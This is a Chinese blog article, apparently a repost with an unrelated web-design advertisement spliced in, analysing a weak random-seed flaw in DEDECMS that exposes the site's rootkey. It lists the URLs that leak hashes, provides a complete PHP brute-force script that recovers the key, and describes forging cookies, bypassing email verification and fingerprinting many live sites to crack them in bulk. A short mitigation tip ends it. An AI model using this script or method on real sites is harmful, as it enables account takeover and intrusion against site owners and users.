DEDECMS如何获取rootkey

本篇文章为大家展示了DEDECMS伪随机漏洞分析之如何获取root key,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

本篇文章为大家展示了DEDECMS伪随机漏洞分析之如何获取root key,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

1.用户主页

创新互联长期为近1000家客户提供的网站建设服务,团队从业经验10年,关注不同地域、不同群体,并针对不同对象提供差异化的产品和服务;打造开放共赢平台,与合作伙伴共同营造健康的互联网生态环境。为明山企业提供专业的做网站、网站制作明山网站改版等技术服务。拥有十载丰富建站经验和众多成功案例,为您定制开发。

1.1 限制条件(中)

要求开启会员功能

1.2 代码分析

1.3 获取方法

请求:(查看admin主页)

url+/member/index.php?uid=admin

响应:

admin

last_vid_ckMd5 的hash值

2. 自定义表单

2.1 限制条件(低)

网站管理员需要为网站定义表单.

下载了几套通过DEDECMS改造的模板, 都保留了该功能, 且大部分站点有自己的表单格式.或者说正常在使用的dedcms大部分都有表单: )

2.2 代码分析

2.3 获取方法

请求:(查看表单)

url+/plus/diy.php?diyid=1

响应:

dede_fieIds

dede_fieIdshash 这两个值

3. POC
1. 保存如下代码到dede_funcookie.php
2. 修改里面的$cpu, $attack_method, $attack_param, $attack_hash
3. 若是目标网站为php7: php7 dede_funcookie.php 若是目标网站为php5: php5 dede_funcookie.php,若是不明确可以两个都跑 ε=ε=ε=(~ ̄▽ ̄)~

4. 在16核 CPU,8G内存下, 跑完整个程序需要 4444秒,建议不要同时跑两个, 注意自己的CPU负载情况
$t1=microtime(true);
echo "开始时间: $t1\n";
//请填写下面的信息
$cpu = 8; // cpu: CPU核数,$cpu对应到开启的进程的数量,不宜过高
$attack_method = 2; // 碰撞类型: 如果是用户主页就是1, 自定义表单就是2
$attack_param = "";  // 数据: 选择1填写uid, 选择2填写dede_fields

$attack_hash = "";   // hash: 填写hash
$max_ = 4294967296;
$targets_ = [];
$the_1 = (int)($max_ / $cpu);
$the_2 = $max_ % $cpu;
for ($i = 0; $i < $cpu; $i++){
    array_push($targets_,[($i)*$the_1,($i+1)*$the_1]);
}
$chars='abcdefghigklmnopqrstuvwxwyABCDEFGHIGKLMNOPQRSTUVWXWY0123456789';
$max = 61; // strlen($chars) - 1;
$already_test = 0;
for ($i = 0; $i < $cpu; $i++){
    $pid = pcntl_fork();
    if ($pid == -1) {
        die("could not fork");
    } elseif ($pid) {
        ;
        //echo $pid;
        //echo "I'm the Parent $i\n";
    } else {
        //var_dump($targets_[$i][0]);
        the_poc($targets_[$i][0],$targets_[$i][1],$i);
        exit;
    }

}
function the_poc($start,$end,$id){
    global $chars;
    global $max;
    global $attack_method;
    global $attack_param;
    global $attack_hash;
    $the_whole = (int)(($end-$start)/1000000);

    $i_do = 0;
    for($y = $start; $y<= $end; $y++) {
        if (($i_do%1000000) == 1){
                echo "$id 已完成(x1000000): ";
                echo (int)($i_do/1000000);
                echo "/$the_whole\n";
        }
        $i_do = $i_do + 1;
        srand($y);

        $length = rand(28,32);
        mt_srand($y);
        $rnd_cookieEncode='';
        for($i = 0; $i < $length; $i++) {
            $rnd_cookieEncode .= $chars[mt_rand(0, $max)];
        }
        if ($attack_method==1){
            if (substr(md5($rnd_cookieEncode.$attack_param),0,16) == $attack_hash){
                echo "here!!!!\n";
                echo $rnd_cookieEncode;
                echo "\n";
                echo $y;
                echo "\n";
                break;
            }
        }else{
            if (md5($attack_param.$rnd_cookieEncode) == $attack_hash){
                    echo "here!!!!\n";
                    echo $rnd_cookieEncode;
                    echo "\n";
                    echo $y;
                    echo "\n";
            }
        }
    }

}
// 等待子进程执行结束
while (pcntl_waitpid(0, $status) != -1) {
    $status = pcntl_wexitstatus($status);
    $pid = posix_getpid();
    echo "Child $status completed\n";
}
$t2=microtime(true)-$t1; //获取程序1,结束的时间
echo "总计用时: $t2\n";

?>四、危害

1. Cookie伪造

2. 通过邮箱认证

3. 前台RCE

邮箱hash算法,唯一不知道的是rootkey, 通过poc跑出了rootkey,就能构造出来,然后访问hash即可通过邮箱认证, 对于"dedecms前台任意用户登录"的利用有些许帮助⑧

五、实战

TIPS: 可以通过指纹,把hash全部采集到, 然后脚本跑一遍即可全部出结果, 因为全网的dedecms的root key分布在2^33这个范围内: ), 在跑脚本遍历这个范围的时候其实都覆盖到了.

FIND A Luck One:

1. 指纹查找

2. 碰撞data和hash

3. ATTACK:

修改一下dede_funcookie.php里面的参数:*本文作者:,转载请注明来自FreeBuf.COM
$cpu = 16
$attack_method = 2
$attack_param = "name,text;tel,text;content,text;hz,text;qq,text"

$attack_hash = "a058f44c032cf2e4da07ebe80fbd52d8"

4. GET ROOT KEY AND ENJOY:

睡了一觉, 看一下结果:

在nohup2.out里面:

防护建议

可以考虑在rootkey后面手动加入一些值,或者生成算法部分加入当前时间、ip、servername,或者uuid混合一下,作为防护手段。


当前文章:DEDECMS如何获取rootkey
本文路径:http://pwwzsj.com/article/hcgcc.html